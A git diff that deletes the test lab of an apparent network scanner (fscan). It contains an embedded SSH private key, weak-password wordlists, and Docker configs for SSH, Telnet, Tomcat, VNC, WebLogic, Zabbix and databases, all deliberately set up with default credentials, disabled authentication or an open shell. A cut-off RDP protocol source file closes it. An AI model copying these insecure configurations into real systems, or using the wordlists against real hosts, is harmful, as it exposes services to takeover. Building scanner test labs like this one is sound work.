AAAAB3NzaC1yc2EAAAADAQABAAABAQDlI+AHyaqC8RlyMANUeFCoA6XfD+w0PxIm26lSr0eYY6+VAfUVyyI27i9P1oP4bNbUSlOuYDEkne64ZD1oWwNqY2STQUgUvWcd4rOS1Zf+qIbXvlif08pknojNbYH7lb5UPmbzWJaz75SHPIajFi70Xvldo6BiPc/y/rFShmuonPmlNyv2/jE9dfD54U8N91P+yqWRy27yAeS3YOhSCm3xE01fAmuOO71xOA7KTO4L45Y9AdOX450uP7fYCPsVaO+2OZoju9m1edZTIae0RArBdNrU673lsIy+KKyLQVU7k3ANwg2XtJo7fBO+Yg0DYRQFP2MzvdKIu3eelMU9jES9 fscan-test-key diff --git a/fscan-lab/test-services/SSH/test_key_root b/fscan-lab/test-services/SSH/test_key_root deleted file mode 100644 index 47c18bed..00000000 --- a/fscan-lab/test-services/SSH/test_key_root +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn -NhAAAAAwEAAQAAAQEAqk+3GXolJ7TKoZrZgo08f16t7EZcHd4zr8YlqdZ080nCyDIrzSDi -DlEUdCRFN6A5G3uVQxpQI0COdxCOVuEkbF27i0H2HxKq3k4ShEUS5aywv9tiAkR9WDkIz0 -adi89VcLQoW8P//HalPu5RooU0JqXKJvtd/yZ6W0a9EYkU7VRh3FDqtPnPPxD2JbPpcyOw -AJsCmR/UawQg77pS9+3RBNXO2CRR6yWsQLI5zkZVqTEhh2Nfwzs+/UhzS3W/gXCSYLMFRA -ztWEJYL9QFyGBNzIJMA6pdoT8Irvk1ZzX8weng+zMFJR2i6EOSGRE1fEFZiQ4k+ZQlLLb4 -clkSlCasZwAAA8il4sn+peLJ/gAAAAdzc2gtcnNhAAABAQCqT7cZeiUntMqhmtmCjTx/Xq -3sRlwd3jOvxiWp1nTzScLIMivNIOIOURR0JEU3oDkbe5VDGlAjQI53EI5W4SRsXbuLQfYf -EqreThKERRLlrLC/22ICRH1YOQjPRp2Lz1VwtChbw//8dqU+7lGihTQmpcom+13/JnpbRr -0RiRTtVGHcUOq0+c8/EPYls+lzI7AAmwKZH9RrBCDvulL37dEE1c7YJFHrJaxAsjnORlWp -MSGHY1/DOz79SHNLdb+BcJJgswVEDO1YQlgv1AXIYE3MgkwDql2hPwiu+TVnNfzB6eD7Mw -UlHaLoQ5IZETV8QVmJDiT5lCUstvhyWRKUJqxnAAAAAwEAAQAAAQAQVm74nTHaQhVxdOgq -W2pzHNMvXWfcdPfdWUiR/HYh7oX7wWsClbB0ciJgVShkrSnn8S4rjpHNx+rCu45ZVuYGao -7L+EBoJljI1DwiKc7Qby/8v6ACcAKG3OBzoyZdhpP/ffDPLhlXj87LSij/n6qV4y/mFxVN -yCmoVDwH5hq2p3TsGY766jr3UgvV9Kq+9gsdvyfWex29xMlupRMfDpSdE5KC2qmzwV4Akq -DpKMWQtCCThpHqRu68J0QgSRmQRPQk1Q/YEhX0dQXNd9svzXF8QDBx17P0Sm6C9iwiTJoD -ULsutT9D+KzDmq9AmxRnqyg/SY/eYBQ3pHMVaaGk4LeJAAAAgFfsSYo62z9TAaxEOT0ZYo -hSYR4kzTIlX8RByvy4trPtcB5C3hD+q/xMLZiNM22nEPicUoYUaok7Bk46xAcCBbFRMnJ0 -WycESdOxHSMYzUW+hAKWypxAxMlF9M9cmYAv/hASxtbINx3rVbk1YMUS+RFdtBI1wBIOk9 -11zGzU9ICuAAAAgQDhaKu4pRq9sDrKLR5WrALq0HX93UvYlDyU5JfY7xuvCozEeUDQzCAA -Nh/dNjqGx60AfAFGGf/k6SCv1SRJHhs7GQE3zABxQwO4hb/h7MNs+g3WtdLoV8N8xK1O9o -nV0Pev3dLx8cStvWoNwARyx/HLh0/O+pImRqoCpnMwKjLxzwAAAIEAwWzOG/BDmPvgppso -qo2ZZLXkW8KqA0E095Z97EvYNOY5H0iL8n7vcuLrLfUxSd62UZVSt57JXMo26d9k0UDXwd -Nv8cI3Y5TUAhJLjANiWhCZomns93LoAysMIq/CMHWhDO5CIGKNHEY+JhbrqxcWlYPfQizA -iNQluqSGy0jWuekAAAAPZnNjYW4tdGVzdC1yb290AQIDBA== ------END OPENSSH PRIVATE KEY----- diff --git a/fscan-lab/test-services/SSH/test_key_root.pub b/fscan-lab/test-services/SSH/test_key_root.pub deleted file mode 100644 index f940e518..00000000 --- a/fscan-lab/test-services/SSH/test_key_root.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqT7cZeiUntMqhmtmCjTx/Xq3sRlwd3jOvxiWp1nTzScLIMivNIOIOURR0JEU3oDkbe5VDGlAjQI53EI5W4SRsXbuLQfYfEqreThKERRLlrLC/22ICRH1YOQjPRp2Lz1VwtChbw//8dqU+7lGihTQmpcom+13/JnpbRr0RiRTtVGHcUOq0+c8/EPYls+lzI7AAmwKZH9RrBCDvulL37dEE1c7YJFHrJaxAsjnORlWpMSGHY1/DOz79SHNLdb+BcJJgswVEDO1YQlgv1AXIYE3MgkwDql2hPwiu+TVnNfzB6eD7MwUlHaLoQ5IZETV8QVmJDiT5lCUstvhyWRKUJqxn fscan-test-root diff --git a/fscan-lab/test-services/SSH/test_pairs.txt b/fscan-lab/test-services/SSH/test_pairs.txt deleted file mode 100644 index 2c993ac8..00000000 --- a/fscan-lab/test-services/SSH/test_pairs.txt +++ /dev/null @@ -1,4 +0,0 @@ -root:root -admin:admin -test:123456 -user:password diff --git a/fscan-lab/test-services/SSH/test_passwords.txt b/fscan-lab/test-services/SSH/test_passwords.txt deleted file mode 100644 index c54aec0b..00000000 --- a/fscan-lab/test-services/SSH/test_passwords.txt +++ /dev/null @@ -1,8 +0,0 @@ -root -admin -123456 -password -Aa123456789 -test -{user} -{user}123 diff --git a/fscan-lab/test-services/SSH/test_users.txt b/fscan-lab/test-services/SSH/test_users.txt deleted file mode 100644 index 0f890104..00000000 --- a/fscan-lab/test-services/SSH/test_users.txt +++ /dev/null @@ -1,5 +0,0 @@ -root -admin -test -user -ubuntu diff --git a/fscan-lab/test-services/Telnet/Dockerfile b/fscan-lab/test-services/Telnet/Dockerfile deleted file mode 100644 index 6029b7d4..00000000 --- a/fscan-lab/test-services/Telnet/Dockerfile +++ /dev/null @@ -1,18 +0,0 @@ -FROM busybox:latest - -# 安装必要的包 -RUN ["busybox", "telnetd", "--help"] - -# 创建测试用户 -RUN adduser -D -h /home/test test && \ - echo "test:123456" | chpasswd - -# 创建弱密码管理员 -RUN adduser -D -h /home/admin admin && \ - echo "admin:admin" | chpasswd - -# 暴露 Telnet 端口 -EXPOSE 23 - -# 启动 Telnet 服务 -CMD ["busybox", "telnetd", "-F", "-l", "/bin/sh"] \ No newline at end of file diff --git a/fscan-lab/test-services/Telnet/README.md b/fscan-lab/test-services/Telnet/README.md deleted file mode 100644 index 3b26eb09..00000000 --- a/fscan-lab/test-services/Telnet/README.md +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t telnet-test . -docker run -d -p 23:23 --name telnet-server telnet-test \ No newline at end of file diff --git a/fscan-lab/test-services/Telnet/docker-compose.yml b/fscan-lab/test-services/Telnet/docker-compose.yml deleted file mode 100644 index 90253aa7..00000000 --- a/fscan-lab/test-services/Telnet/docker-compose.yml +++ /dev/null @@ -1,9 +0,0 @@ -version: '3.8' - -services: - telnet: - build: . - ports: - - "23:23" - container_name: telnet_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/Tomcat/Dockerfile b/fscan-lab/test-services/Tomcat/Dockerfile deleted file mode 100644 index 075ec945..00000000 --- a/fscan-lab/test-services/Tomcat/Dockerfile +++ /dev/null @@ -1,17 +0,0 @@ -FROM tomcat:9.0-jdk8 - -# 删除默认应用 -RUN rm -rf /usr/local/tomcat/webapps/* - -# 复制tomcat-users.xml配置文件 -COPY tomcat-users.xml /usr/local/tomcat/conf/ - -# 允许远程访问manager -COPY context.xml /usr/local/tomcat/webapps.dist/manager/META-INF/ -COPY context.xml /usr/local/tomcat/webapps.dist/host-manager/META-INF/ - -# 复制默认应用 -RUN cp -r /usr/local/tomcat/webapps.dist/* /usr/local/tomcat/webapps/ - -EXPOSE 8080 -CMD ["catalina.sh", "run"] \ No newline at end of file diff --git a/fscan-lab/test-services/Tomcat/README.txt b/fscan-lab/test-services/Tomcat/README.txt deleted file mode 100644 index 793ac4f9..00000000 --- a/fscan-lab/test-services/Tomcat/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t tomcat-weak . -docker run -d --name tomcat-test -p 8080:8080 tomcat-weak \ No newline at end of file diff --git a/fscan-lab/test-services/Tomcat/context.xml b/fscan-lab/test-services/Tomcat/context.xml deleted file mode 100644 index 0d6c02d9..00000000 --- a/fscan-lab/test-services/Tomcat/context.xml +++ /dev/null @@ -1,5 +0,0 @@ - - - - \ No newline at end of file diff --git a/fscan-lab/test-services/Tomcat/tomcat-users.xml b/fscan-lab/test-services/Tomcat/tomcat-users.xml deleted file mode 100644 index 7f4aa6aa..00000000 --- a/fscan-lab/test-services/Tomcat/tomcat-users.xml +++ /dev/null @@ -1,19 +0,0 @@ - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/fscan-lab/test-services/VNC/Dockerfile b/fscan-lab/test-services/VNC/Dockerfile deleted file mode 100644 index 2cebf047..00000000 --- a/fscan-lab/test-services/VNC/Dockerfile +++ /dev/null @@ -1,45 +0,0 @@ -FROM ubuntu:20.04 - -ENV DEBIAN_FRONTEND=noninteractive -ENV TZ=Asia/Shanghai - -# 安装必要的包 -RUN apt-get update && apt-get install -y \ - tightvncserver \ - xfce4 \ - xfce4-terminal \ - supervisor - -# 创建新用户 -RUN useradd -m vncuser -ENV USER=vncuser -ENV HOME=/home/vncuser - -# 设置supervisor配置 -RUN mkdir -p /var/log/supervisor -COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf - -# 切换到vncuser用户 -USER vncuser -WORKDIR /home/vncuser - -# 创建必要的文件和目录 -RUN touch ~/.Xauthority -RUN mkdir -p ~/.vnc - -# 创建启动脚本 -RUN echo '#!/bin/bash\nxrdb $HOME/.Xresources\nstartxfce4 &' > ~/.vnc/xstartup -RUN chmod +x ~/.vnc/xstartup - -# 设置VNC密码 -RUN echo "123456" | vncpasswd -f > ~/.vnc/passwd -RUN chmod 600 ~/.vnc/passwd - -# 切回root用户来运行supervisor -USER root - -# 暴露VNC端口 -EXPOSE 5901 - -# 使用supervisor启动服务 -CMD ["/usr/bin/supervisord"] \ No newline at end of file diff --git a/fscan-lab/test-services/VNC/README.txt b/fscan-lab/test-services/VNC/README.txt deleted file mode 100644 index 2bd5195b..00000000 --- a/fscan-lab/test-services/VNC/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t vnc-server . -docker run -d -p 5901:5901 vnc-server \ No newline at end of file diff --git a/fscan-lab/test-services/VNC/docker-compose.yml b/fscan-lab/test-services/VNC/docker-compose.yml deleted file mode 100644 index af978a47..00000000 --- a/fscan-lab/test-services/VNC/docker-compose.yml +++ /dev/null @@ -1,9 +0,0 @@ -version: '3.8' - -services: - vnc: - build: . - ports: - - "5901:5901" - container_name: vnc_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/VNC/simple-docker-compose.yml b/fscan-lab/test-services/VNC/simple-docker-compose.yml deleted file mode 100644 index 0919403d..00000000 --- a/fscan-lab/test-services/VNC/simple-docker-compose.yml +++ /dev/null @@ -1,11 +0,0 @@ -version: '3.8' - -services: - vnc-simple: - image: consol/ubuntu-xfce-vnc:latest - ports: - - "5901:5901" - environment: - - VNC_PW=123456 - container_name: vnc_simple_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/VNC/supervisord.conf b/fscan-lab/test-services/VNC/supervisord.conf deleted file mode 100644 index e46b07b8..00000000 --- a/fscan-lab/test-services/VNC/supervisord.conf +++ /dev/null @@ -1,16 +0,0 @@ -[supervisord] -nodaemon=true - -[program:vnc] -command=/usr/bin/Xvnc :1 -geometry 1280x800 -depth 24 -rfbport 5901 -rfbauth /home/vncuser/.vnc/passwd -alwaysshared -dontdisconnect -desktop "Ubuntu VNC" -user=vncuser -autostart=true -autorestart=true -environment=HOME="/home/vncuser",USER="vncuser" - -[program:xfce] -command=/usr/bin/startxfce4 -user=vncuser -autostart=true -autorestart=true -environment=DISPLAY=":1",HOME="/home/vncuser",USER="vncuser" \ No newline at end of file diff --git a/fscan-lab/test-services/Weblogic/Dockerfile b/fscan-lab/test-services/Weblogic/Dockerfile deleted file mode 100644 index 5f90a7f3..00000000 --- a/fscan-lab/test-services/Weblogic/Dockerfile +++ /dev/null @@ -1,20 +0,0 @@ -FROM container-registry.oracle.com/middleware/weblogic:12.2.1.4-dev - -# 环境变量 -ENV DOMAIN_NAME="base_domain" \ - ADMIN_PORT="7001" \ - ADMIN_NAME="weblogic" \ - ADMIN_PASSWORD="weblogic123" \ - PRODUCTION_MODE="dev" \ - DOMAIN_HOME="/u01/oracle/user_projects/domains/base_domain" - -USER oracle - -# 创建域配置脚本 -COPY --chown=oracle:oracle create-domain.py /u01/oracle/ -COPY --chown=oracle:oracle start.sh /u01/oracle/ -RUN chmod +x /u01/oracle/start.sh - -EXPOSE 7001 7002 - -CMD ["/u01/oracle/start.sh"] \ No newline at end of file diff --git a/fscan-lab/test-services/Weblogic/README.txt b/fscan-lab/test-services/Weblogic/README.txt deleted file mode 100644 index 4e7eab98..00000000 --- a/fscan-lab/test-services/Weblogic/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t weblogic-weak . -docker run -d --name weblogic-test -p 7001:7001 -p 7002:7002 weblogic-weak \ No newline at end of file diff --git a/fscan-lab/test-services/Weblogic/create-domain.py b/fscan-lab/test-services/Weblogic/create-domain.py deleted file mode 100644 index 24fae1a1..00000000 --- a/fscan-lab/test-services/Weblogic/create-domain.py +++ /dev/null @@ -1,26 +0,0 @@ -import os - -# 读取模板 -readTemplate("/u01/oracle/wlserver/common/templates/wls/wls.jar") - -# 配置管理服务器 -cd('/Security/base_domain/User/weblogic') -cmo.setPassword('weblogic123') - -# 设置域名称和路径 -cd('/') -cmo.setName('base_domain') -setOption('DomainName', 'base_domain') -setOption('ServerStartMode', 'dev') -setOption('OverwriteDomain', 'true') - -# 配置管理服务器 -cd('/Servers/AdminServer') -set('ListenAddress', '') -set('ListenPort', 7001) - -# 写入域配置 -writeDomain('/u01/oracle/user_projects/domains/base_domain') -closeTemplate() - -exit() \ No newline at end of file diff --git a/fscan-lab/test-services/Weblogic/start.sh b/fscan-lab/test-services/Weblogic/start.sh deleted file mode 100644 index b9e21d69..00000000 --- a/fscan-lab/test-services/Weblogic/start.sh +++ /dev/null @@ -1,10 +0,0 @@ -#!/bin/bash - -# 创建域 -wlst.sh -skipWLSModuleScanning /u01/oracle/create-domain.py - -# 等待域创建完成 -sleep 5 - -# 启动服务器 -/u01/oracle/user_projects/domains/base_domain/bin/startWebLogic.sh \ No newline at end of file diff --git a/fscan-lab/test-services/Zabbix/docker-compose.yml b/fscan-lab/test-services/Zabbix/docker-compose.yml deleted file mode 100644 index dff76330..00000000 --- a/fscan-lab/test-services/Zabbix/docker-compose.yml +++ /dev/null @@ -1,58 +0,0 @@ -version: '3' - -services: - mysql: - image: mysql:8.0 - container_name: zabbix-mysql - command: --default-authentication-plugin=mysql_native_password - environment: - MYSQL_ROOT_PASSWORD: root123 - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - ports: - - "3306:3306" - volumes: - - ./mysql_data:/var/lib/mysql - networks: - - zabbix-net - - zabbix-server: - image: zabbix/zabbix-server-mysql:ubuntu-6.0.23 - container_name: zabbix-server - environment: - DB_SERVER_HOST: mysql - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - MYSQL_ROOT_PASSWORD: root123 - ports: - - "10051:10051" - depends_on: - - mysql - networks: - - zabbix-net - - zabbix-web: - image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.23 - container_name: zabbix-web - environment: - DB_SERVER_HOST: mysql - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - MYSQL_ROOT_PASSWORD: root123 - ZBX_SERVER_HOST: zabbix-server - PHP_TZ: Asia/Shanghai - ports: - - "80:8080" - - "443:8443" - depends_on: - - mysql - - zabbix-server - networks: - - zabbix-net - -networks: - zabbix-net: - driver: bridge \ No newline at end of file diff --git a/fscan-lab/test-services/docker-compose.yml b/fscan-lab/test-services/docker-compose.yml deleted file mode 100644 index 8e272661..00000000 --- a/fscan-lab/test-services/docker-compose.yml +++ /dev/null @@ -1,339 +0,0 @@ -version: '3.8' - -services: - # === 数据库服务 === - mysql: - image: mysql:latest - container_name: fscan-mysql - environment: - MYSQL_ROOT_PASSWORD: Password - MYSQL_DATABASE: mydb - ports: - - "3306:3306" - volumes: - - mysql_data:/var/lib/mysql - healthcheck: - test: ["CMD", "mysql", "-uroot", "-pPassword", "-e", "SELECT 1"] - interval: 30s - timeout: 3s - retries: 3 - restart: unless-stopped - - postgresql: - image: postgres:latest - container_name: fscan-postgresql - environment: - POSTGRES_USER: postgres - POSTGRES_PASSWORD: 123456 - POSTGRES_DB: mydb - ports: - - "5432:5432" - volumes: - - postgresql_data:/var/lib/postgresql/data - healthcheck: - test: ["CMD-SHELL", "pg_isready -U postgres"] - interval: 30s - timeout: 3s - retries: 3 - restart: unless-stopped - - mongodb: - image: mongo:latest - container_name: fscan-mongodb - environment: - MONGO_INITDB_ROOT_USERNAME: admin - MONGO_INITDB_ROOT_PASSWORD: 123456 - ports: - - "27017:27017" - volumes: - - mongodb_data:/data/db - healthcheck: - test: ["CMD", "mongosh", "--eval", "db.runCommand('ping').ok", "localhost:27017/test", "--quiet"] - interval: 30s - timeout: 3s - retries: 3 - restart: unless-stopped - - redis: - image: redis:5.0.1 - container_name: fscan-redis - command: redis-server --bind 0.0.0.0 --protected-mode no --port 6379 - ports: - - "6379:6379" - volumes: - - redis_data:/data - - ./test_dirs:/test_dirs - restart: unless-stopped - - neo4j: - image: neo4j:4.4 - container_name: fscan-neo4j - environment: - NEO4J_AUTH: neo4j/123456 - NEO4J_dbms_security_procedures_unrestricted: apoc.* - NEO4J_dbms_security_auth_enabled: true - ports: - - "7474:7474" - - "7687:7687" - volumes: - - neo4j_data:/data - restart: unless-stopped - - memcached: - image: memcached:latest - container_name: fscan-memcached - command: ["memcached", "-m", "64", "-c", "1024", "-v"] - ports: - - "11211:11211" - restart: unless-stopped - - cassandra: - image: cassandra:3.11 - container_name: fscan-cassandra - environment: - CASSANDRA_AUTHENTICATOR: AllowAllAuthenticator - ports: - - "9042:9042" - - "9160:9160" - volumes: - - cassandra_data:/var/lib/cassandra - restart: unless-stopped - - mssql: - image: mcr.microsoft.com/mssql/server:2022-latest - container_name: fscan-mssql - environment: - ACCEPT_EULA: Y - MSSQL_SA_PASSWORD: P@ssword123 - MSSQL_PID: Express - ports: - - "1433:1433" - volumes: - - mssql_data:/var/opt/mssql - healthcheck: - test: ["CMD-SHELL", "/opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P P@ssword123 -Q 'SELECT 1' || exit 1"] - interval: 30s - timeout: 3s - retries: 3 - restart: unless-stopped - - # === Web服务 === - tomcat: - build: ./TestDocker/Tomcat/ - container_name: fscan-tomcat - ports: - - "8080:8080" - volumes: - - tomcat_webapps:/usr/local/tomcat/webapps - restart: unless-stopped - - # === 搜索引擎 === - elasticsearch: - image: docker.elastic.co/elasticsearch/elasticsearch:7.9.3 - container_name: fscan-elasticsearch - environment: - - discovery.type=single-node - - network.host=0.0.0.0 - - ELASTIC_PASSWORD=elastic123 - - xpack.security.enabled=false - ports: - - "9200:9200" - - "9300:9300" - volumes: - - elasticsearch_data:/usr/share/elasticsearch/data - restart: unless-stopped - - # === 消息队列 === - rabbitmq: - image: rabbitmq:3-management - container_name: fscan-rabbitmq - environment: - RABBITMQ_DEFAULT_USER: admin - RABBITMQ_DEFAULT_PASS: 123456 - ports: - - "5672:5672" - - "15672:15672" - volumes: - - rabbitmq_data:/var/lib/rabbitmq - restart: unless-stopped - - activemq: - build: ./TestDocker/ActiveMQ/ - container_name: fscan-activemq - ports: - - "61613:61613" - - "61614:61614" - restart: unless-stopped - - kafka: - image: bitnami/kafka:latest - container_name: fscan-kafka - environment: - - KAFKA_CFG_NODE_ID=1 - - KAFKA_CFG_PROCESS_ROLES=broker,controller - - KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=1@kafka:9093 - - KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER - - KAFKA_CFG_LISTENERS=CONTROLLER://:9093,SASL_PLAINTEXT://:9092 - - KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092 - - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SASL_PLAINTEXT:SASL_PLAINTEXT - - KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN - - KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN - - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT - - KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf - - ALLOW_PLAINTEXT_LISTENER=yes - ports: - - "9092:9092" - volumes: - - ./TestDocker/Kafka/kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf - - kafka_data:/bitnami/kafka - restart: unless-stopped - - # === 目录服务 === - ldap: - build: ./TestDocker/LDAP/ - container_name: fscan-ldap - environment: - LDAP_ORGANISATION: "Example Inc" - LDAP_DOMAIN: "example.com" - LDAP_BASE_DN: "dc=example,dc=com" - LDAP_ADMIN_PASSWORD: "Aa123456789" - LDAP_READONLY_USER: "true" - LDAP_READONLY_USER_USERNAME: "readonly" - LDAP_READONLY_USER_PASSWORD: "readonly" - ports: - - "389:389" - - "636:636" - volumes: - - ldap_data:/var/lib/ldap - restart: unless-stopped - - # === 网络服务 === - ftp: - image: bogem/ftp - container_name: fscan-ftp - environment: - - FTP_USER=admin - - FTP_PASS=123456 - - PASV_ADDRESS=127.0.0.1 - - PASV_MIN_PORT=30000 - - PASV_MAX_PORT=30100 - ports: - - "21:21" - - "20:20" - - "30000-30100:30000-30100" - restart: unless-stopped - - ssh: - build: ./TestDocker/SSH/ - container_name: fscan-ssh - ports: - - "2222:22" - restart: unless-stopped - - smtp: - build: ./TestDocker/SMTP/ - container_name: fscan-smtp - ports: - - "25:25" - restart: unless-stopped - - snmp: - build: ./TestDocker/SNMP/ - container_name: fscan-snmp - ports: - - "161:161/udp" - restart: unless-stopped - - rsync: - build: ./TestDocker/Rsync/ - container_name: fscan-rsync - ports: - - "873:873" - volumes: - - ./test_data:/data/public - restart: unless-stopped - - vnc: - build: ./TestDocker/VNC/ - container_name: fscan-vnc - ports: - - "5901:5901" - restart: unless-stopped - - telnet: - build: ./TestDocker/Telnet/ - container_name: fscan-telnet - ports: - - "23:23" - restart: unless-stopped - - # === 监控系统 === - zabbix-mysql: - image: mysql:8.0 - container_name: fscan-zabbix-mysql - command: --default-authentication-plugin=mysql_native_password - environment: - MYSQL_ROOT_PASSWORD: root123 - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - ports: - - "3307:3306" # 避免与主MySQL冲突 - volumes: - - zabbix_mysql_data:/var/lib/mysql - restart: unless-stopped - - zabbix-server: - image: zabbix/zabbix-server-mysql:ubuntu-6.0.23 - container_name: fscan-zabbix-server - environment: - DB_SERVER_HOST: zabbix-mysql - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - MYSQL_ROOT_PASSWORD: root123 - ports: - - "10051:10051" - depends_on: - - zabbix-mysql - restart: unless-stopped - - zabbix-web: - image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.23 - container_name: fscan-zabbix-web - environment: - DB_SERVER_HOST: zabbix-mysql - MYSQL_DATABASE: zabbix - MYSQL_USER: zabbix - MYSQL_PASSWORD: zabbix123 - MYSQL_ROOT_PASSWORD: root123 - ZBX_SERVER_HOST: zabbix-server - PHP_TZ: Asia/Shanghai - ports: - - "8081:8080" # 避免与Tomcat冲突 - - "8443:8443" - depends_on: - - zabbix-mysql - - zabbix-server - restart: unless-stopped - -# === 数据卷 === -volumes: - mysql_data: - postgresql_data: - mongodb_data: - redis_data: - neo4j_data: - cassandra_data: - tomcat_webapps: - elasticsearch_data: - rabbitmq_data: - kafka_data: - ldap_data: - zabbix_mysql_data: - mssql_data: - -# === 网络 === -networks: - default: - driver: bridge \ No newline at end of file diff --git a/libs/grdp/protocol/t125/mcs.go.bak b/libs/grdp/protocol/t125/mcs.go.bak deleted file mode 100644 index fbdc894a..00000000 --- a/libs/grdp/protocol/t125/mcs.go.bak +++ /dev/null @@ -1,574 +0,0 @@ -package t125 - -import ( - "bytes" - "encoding/hex" - "errors" - "fmt" - "io" - "reflect" - - "github.com/xxx/wscan/mylib/grdp/plugin/rail" - - "github.com/xxx/wscan/mylib/grdp/plugin/drdynvc" - - "github.com/xxx/wscan/mylib/grdp/core" - "github.com/xxx/wscan/mylib/grdp/emission" - "github.com/xxx/wscan/mylib/grdp/glog" - "github.com/xxx/wscan/mylib/grdp/protocol/t125/ber" - "github.com/xxx/wscan/mylib/grdp/protocol/t125/gcc" - "github.com/xxx/wscan/mylib/grdp/protocol/t125/per" -) - -// take idea from https://github.com/Madnikulin50/gordp - -// Multiple Channel Service layer - -type MCSMessage uint8 - -const ( - MCS_TYPE_CONNECT_INITIAL MCSMessage = 0x65 - MCS_TYPE_CONNECT_RESPONSE = 0x66 -) - -type MCSDomainPDU uint16 - -const ( - ERECT_DOMAIN_REQUEST MCSDomainPDU = 1 - DISCONNECT_PROVIDER_ULTIMATUM = 8 - ATTACH_USER_REQUEST = 10 - ATTACH_USER_CONFIRM = 11 - CHANNEL_JOIN_REQUEST = 14 - CHANNEL_JOIN_CONFIRM = 15 - SEND_DATA_REQUEST = 25 - SEND_DATA_INDICATION = 26 -) - -const ( - MCS_GLOBAL_CHANNEL_ID uint16 = 1003 - MCS_USERCHANNEL_BASE = 1001 -) - -const ( - GLOBAL_CHANNEL_NAME = "global" -) - -/** - * Format MCS PDULayer header packet - * @param mcsPdu {integer} - * @param options {integer} - * @returns {type.UInt8} headers - */ -func writeMCSPDUHeader(mcsPdu MCSDomainPDU, options uint8, w io.Writer) { - core.WriteUInt8((uint8(mcsPdu)<<2)|options, w) -} - -func readMCSPDUHeader(options uint8, mcsPdu MCSDomainPDU) bool { - return (options >> 2) == uint8(mcsPdu) -} - -type DomainParameters struct { - MaxChannelIds int - MaxUserIds int - MaxTokenIds int - NumPriorities int - MinThoughput int - MaxHeight int - MaxMCSPDUsize int - ProtocolVersion int -} - -/** - * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25 - * @returns {asn1.univ.Sequence} - */ -func NewDomainParameters( - maxChannelIds int, - maxUserIds int, - maxTokenIds int, - numPriorities int, - minThoughput int, - maxHeight int, - maxMCSPDUsize int, - protocolVersion int) *DomainParameters { - return &DomainParameters{maxChannelIds, maxUserIds, maxTokenIds, - numPriorities, minThoughput, maxHeight, maxMCSPDUsize, protocolVersion} -} - -func (d *DomainParameters) BER() []byte { - buff := &bytes.Buffer{} - ber.WriteInteger(d.MaxChannelIds, buff) - ber.WriteInteger(d.MaxUserIds, buff) - ber.WriteInteger(d.MaxTokenIds, buff) - ber.WriteInteger(1, buff) - ber.WriteInteger(0, buff) - ber.WriteInteger(1, buff) - ber.WriteInteger(d.MaxMCSPDUsize, buff) - ber.WriteInteger(2, buff) - return buff.Bytes() -} - -func ReadDomainParameters(r io.Reader) (*DomainParameters, error) { - if !ber.ReadUniversalTag(ber.TAG_SEQUENCE, true, r) { - return nil, errors.New("bad BER tags") - } - d := &DomainParameters{} - ber.ReadLength(r) - - d.MaxChannelIds, _ = ber.ReadInteger(r) - d.MaxUserIds, _ = ber.ReadInteger(r) - d.MaxTokenIds, _ = ber.ReadInteger(r) - ber.ReadInteger(r) - ber.ReadInteger(r) - ber.ReadInteger(r) - d.MaxMCSPDUsize, _ = ber.ReadInteger(r) - ber.ReadInteger(r) - return d, nil -} - -/** - * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25 - * @param userData {Buffer} - * @returns {asn1.univ.Sequence} - */ -type ConnectInitial struct { - CallingDomainSelector []byte - CalledDomainSelector []byte - UpwardFlag bool - TargetParameters DomainParameters - MinimumParameters DomainParameters - MaximumParameters DomainParameters - UserData []byte -} - -func NewConnectInitial(userData []byte) ConnectInitial { - return ConnectInitial{[]byte{0x1}, - []byte{0x1}, - true, - *NewDomainParameters(34, 2, 0, 1, 0, 1, 0xffff, 2), - *NewDomainParameters(1, 1, 1, 1, 0, 1, 0x420, 2), - *NewDomainParameters(0xffff, 0xfc17, 0xffff, 1, 0, 1, 0xffff, 2), - userData} -} - -func (c *ConnectInitial) BER() []byte { - buff := &bytes.Buffer{} - ber.WriteOctetstring(string(c.CallingDomainSelector), buff) - ber.WriteOctetstring(string(c.CalledDomainSelector), buff) - ber.WriteBoolean(c.UpwardFlag, buff) - ber.WriteEncodedDomainParams(c.TargetParameters.BER(), buff) - ber.WriteEncodedDomainParams(c.MinimumParameters.BER(), buff) - ber.WriteEncodedDomainParams(c.MaximumParameters.BER(), buff) - ber.WriteOctetstring(string(c.UserData), buff) - return buff.Bytes() -} - -/** - * @see 